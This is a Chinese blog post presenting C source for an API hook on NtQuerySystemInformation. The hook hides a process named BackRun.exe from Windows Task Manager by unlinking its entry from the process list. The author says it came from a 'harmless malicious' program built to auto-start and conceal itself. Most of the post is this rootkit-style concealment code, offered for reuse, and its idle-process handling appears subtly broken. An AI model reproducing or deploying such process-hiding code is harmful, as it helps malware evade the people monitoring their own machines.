使用APIHOOK实现进程隐藏

时间:2022-06-17
本文章向大家介绍使用APIHOOK实现进程隐藏,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

        今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。(转载请指明出处)

        APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。

NTSTATUS WINAPI Hook_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
											PVOID lpSystemInformation,
											ULONG ulSystemInformationLength,
											PULONG pulReturnLength) 
{

	// 调用原始NtQuerySystemInformation
	NTSTATUS nResult = ((PNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
		(SystemInformationClass, lpSystemInformation, ulSystemInformationLength, pulReturnLength);


	if( 0 != nResult)
    {
		return nResult;
    }

    // 获取调用模块路径
	WCHAR FilaPath[MAX_PATH] = {0};
	GetModuleFileName( NULL, FilaPath, MAX_PATH );
    
    // 获取调用模块的名称
	WCHAR* pFileName= NULL;
	pFileName = PathFindFileName(FilaPath);

	// 这是计算进程名在结构体中的偏移
    //     typedef struct _SYSTEM_PROCESS_INFORMATION
    //     {
    //         ULONG           dwNextEntryOffset;                  // 下段结构对象的偏移
    //         ULONG           dwNumberOfThreads;                  // 线程数
    //         LARGE_INTEGER   qSpareLi1;                          
    //         LARGE_INTEGER   qSpareLi2;
    //         LARGE_INTEGER   qSpareLi3;
    //         LARGE_INTEGER   qCreateTime;                        // 创建时间
    //         LARGE_INTEGER   qUserTime;                          // 用户态时间
    //         LARGE_INTEGER   qKernelTime;                        // 内核态时间
    //         UNICODE_STRING  ImageName;                          // 文件名(非路径)
    //          ……
    //      }

    // 2 * sizeof(USHORT)是因为UNICODE_STRING得定义:
    //     typedef struct _UNICODE_STRING {
    //         USHORT Length;
    //         USHORT MaximumLength;
    //         PWSTR  Buffer;
    //     } UNICODE_STRING;
	DWORD dwnameoffset = 2 * sizeof(ULONG) + 6 * sizeof(LARGE_INTEGER) + 2 * sizeof(USHORT);

    if ( 0 != wcscmp( pFileName, L"taskmgr.exe" ) ||
        5 != SystemInformationClass )
    {
        //只是过滤windows任务管理器
        return nResult;
    }
    
	LPVOID lpAddr = lpSystemInformation;
	
    // 获取第二个数据块的偏移
    ULONG ulNextEntryOffset = 0;
    // 因为_SYSTEM_PROCESS_INFORMATION的第一个元素就是dwNextEntryOffset
	memcpy_s( &ulNextEntryOffset, sizeof(ULONG), lpAddr, sizeof(ULONG) );

    // 保存前一个数据块的“下个数据偏移”
	ULONG ulBeforeNextEntryOffset = ulNextEntryOffset; 
    
    // 保存当前数据块的“下个数据偏移”
	ULONG ulCurrentNextEntryOffset = ulNextEntryOffset;

    // 保存后一个数据块的“下个数据偏移”
	ULONG ulAfterNextEntryOffset = ulNextEntryOffset;

    // 保存前一个数据块的起始地址
	PCHAR pchBeforeAddr = (PCHAR) lpSystemInformation;
    // 保存当前数据块的起始地址
	PCHAR pchCurrentAddr = (PCHAR) lpSystemInformation;
    // 保存下个数据块的起始地址
	PCHAR pchNextAddr = pchCurrentAddr;

	BOOL bidle = TRUE;

	while( 0 != ulNextEntryOffset )
	{
        // 下个数据块的起始地址=当前数据块的地址+当前数据块的“下个数据偏移”
		pchNextAddr = pchCurrentAddr + ulCurrentNextEntryOffset;
        
        // 保存下个数据的“下个数据偏移”
		memcpy_s( &ulNextEntryOffset, sizeof(ULONG), (PVOID)pchNextAddr, sizeof(ULONG) );
		
        // 指向每个数据块中进程名的指针
		PCHAR pchNameAddr = NULL;

		// 过滤第一个进程system idle。这个进程在这个进程信息结构体中没有名字
		if( FALSE != bidle )
		{
			// 获取指向进程名的指针
			memcpy_s( &pchNameAddr, sizeof(PCHAR), (PVOID)(pchCurrentAddr+dwnameoffset), sizeof(PCHAR));
			
            if( 0 == wcscmp( (PWCHAR)(pchNameAddr), L"BackRun.exe"))
			{
				// 让上个数据块的“下个数据偏移”=上个数据块的“下个数据偏移”+当前数据块的“下个数据偏移”,跳过当前数据块
				DWORD dwGoToNextOffset = ulBeforeNextEntryOffset + ulCurrentNextEntryOffset;
				
                SIZE_T size_nouse = 0;
				// 将数据写入内存
                if (!WriteProcessMemory(
					GetCurrentProcess(),
					(PVOID) pchBeforeAddr,
					(PVOID) (&dwGoToNextOffset),
					sizeof(DWORD),
					&size_nouse
					))
					;

				memcpy_s( &ulNextEntryOffset, sizeof(ULONG), pchNextAddr, sizeof(ULONG) );
			}
		}
		else
		{
			bidle = FALSE;
		}

		pchBeforeAddr = pchCurrentAddr;
		ulBeforeNextEntryOffset = ulCurrentNextEntryOffset;

		pchCurrentAddr = pchNextAddr;
		ulCurrentNextEntryOffset = ulNextEntryOffset;
	}

	// Return the result back to the caller
	return nResult;
}

(转载请指明出处)